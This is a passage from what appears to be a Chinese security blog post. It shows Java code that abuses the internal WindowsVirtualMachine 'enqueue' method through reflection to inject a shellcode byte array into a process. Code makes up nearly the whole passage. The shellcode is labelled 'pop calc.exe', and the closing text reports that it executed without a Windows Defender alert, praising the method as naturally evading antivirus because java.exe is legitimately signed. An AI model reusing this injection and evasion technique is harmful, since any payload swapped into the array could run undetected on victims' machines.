code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Method;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">public class ThreadMain   {</span></code><code><span class="code-snippet_outer">    public static void main(String[] args) throws Exception {</span></code><code><span class="code-snippet_outer">        System.loadLibrary(<span class="code-snippet__string">&#34;attach&#34;</span>);</span></code><code><span class="code-snippet_outer">        Class cls=Class.forName(<span class="code-snippet__string">&#34;sun.tools.attach.WindowsVirtualMachine&#34;</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> (Method m:cls.getDeclaredMethods())</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (m.getName().equals(<span class="code-snippet__string">&#34;enqueue&#34;</span>))</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">                long hProcess=<span class="code-snippet__number">-1</span>;</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">//hProcess=getHandleByPid(30244);</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">byte</span> buf[] = <span class="code-snippet__built_in">new</span> <span class="code-snippet__keyword">byte</span>[]   <span class="code-snippet__comment">//pop calc.exe</span></span></code><code><span class="code-snippet_outer">                        {</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xfc</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x83</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xe4</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xf0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xe8</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x51</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x50</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x52</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x51</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x56</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x31</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd2</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x65</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x52</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x60</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x52</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x18</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x52</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x20</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x72</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x50</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x0f</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xb7</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x4a</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x4a</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x4d</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x31</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc9</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x31</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc0</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xac</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x3c</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x61</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x7c</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x02</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x2c</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x20</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc1</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc9</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x0d</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc1</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xe2</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xed</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x52</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x51</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x52</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x20</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x42</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x3c</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x80</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x88</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x85</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x74</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x67</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x50</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x18</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x44</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x40</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x20</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x49</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xe3</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x56</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xff</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc9</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x34</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x88</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd6</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x4d</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x31</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc9</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x31</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc0</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xac</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc1</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc9</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x0d</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc1</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x38</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xe0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x75</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xf1</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x4c</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x03</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x4c</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x24</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x08</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x45</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x39</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd1</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x75</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd8</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x58</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x44</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x40</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x24</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x49</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x66</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x0c</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x44</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x40</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x1c</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x49</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x04</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x88</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x58</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x58</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x5e</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x59</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x5a</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x58</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x59</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x5a</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x83</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xec</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x20</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x52</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xff</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xe0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x58</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x59</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x5a</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x12</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xe9</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x57</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xff</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xff</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xff</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x5d</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xba</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8d</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8d</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x01</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xba</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x31</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x6f</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x87</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xff</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd5</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xbb</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xf0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xb5</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xa2</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x56</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xba</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xa6</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x95</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xbd</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x9d</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xff</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd5</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x83</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc4</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x28</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x3c</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x06</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x7c</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x0a</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x80</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xfb</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xe0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x75</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x05</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xbb</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x47</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x13</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x72</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x6f</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x6a</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x59</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x89</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xda</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xff</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd5</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x63</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x61</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x6c</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x63</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x2e</span>,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x65</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x78</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x65</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span></span></code><code><span class="code-snippet_outer">                        };</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                String cmd=<span class="code-snippet__string">&#34;load&#34;</span>;String pipeName=<span class="code-snippet__string">&#34;test&#34;</span>;</span></code><code><span class="code-snippet_outer">                    m.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">                Object result=m.invoke(cls,<span class="code-snippet__built_in">new</span> Object[]{hProcess,buf,cmd,pipeName,<span class="code-snippet__built_in">new</span> Object[]{}});</span></code><code><span class="code-snippet_outer">                System.out.<span class="code-snippet__built_in">println</span>(<span class="code-snippet__string">&#34;result:&#34;</span>+result);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        Thread.sleep(<span class="code-snippet__number">4000</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    public static long getHandleByPid(<span class="code-snippet__keyword">int</span> pid)</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        Class cls= null;</span></code><code><span class="code-snippet_outer">        long hProcess=<span class="code-snippet__number">-1</span>;</span></code><code><span class="code-snippet_outer">        try {</span></code><code><span class="code-snippet_outer">            cls = Class.forName(<span class="code-snippet__string">&#34;sun.tools.attach.WindowsVirtualMachine&#34;</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">for</span> (Method m:cls.getDeclaredMethods()) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (m.getName().equals(<span class="code-snippet__string">&#34;openProcess&#34;</span>))</span></code><code><span class="code-snippet_outer">                {</span></code><code><span class="code-snippet_outer">                    m.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">                    Object result=m.invoke(cls,pid);</span></code><code><span class="code-snippet_outer">                    System.out.<span class="code-snippet__built_in">println</span>(<span class="code-snippet__string">&#34;pid :&#34;</span>+result);</span></code><code><span class="code-snippet_outer">                    hProcess=Long.parseLong(result.toString());</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } catch (Exception e) {</span></code><code><span class="code-snippet_outer">            e.printStackTrace();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> hProcess;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">编译，执行：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="790" data-type="png" style="box-sizing: border-box;display: inline;" data-ratio="1.0139240506329115" src="https://wechat2rss.xlab.app/img-proxy/?k=d17a3ecb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0LyjC6r7zYRjuQkWLrjFsORLBicz9jiadfdn7YnKLYyibqrpOUzibib2BQpA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">成功执行shellcode，而且Windows Defender没有告警，天然免杀。毕竟，谁能想到有着合法签名安全可靠的Java.exe会作恶呢：）</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 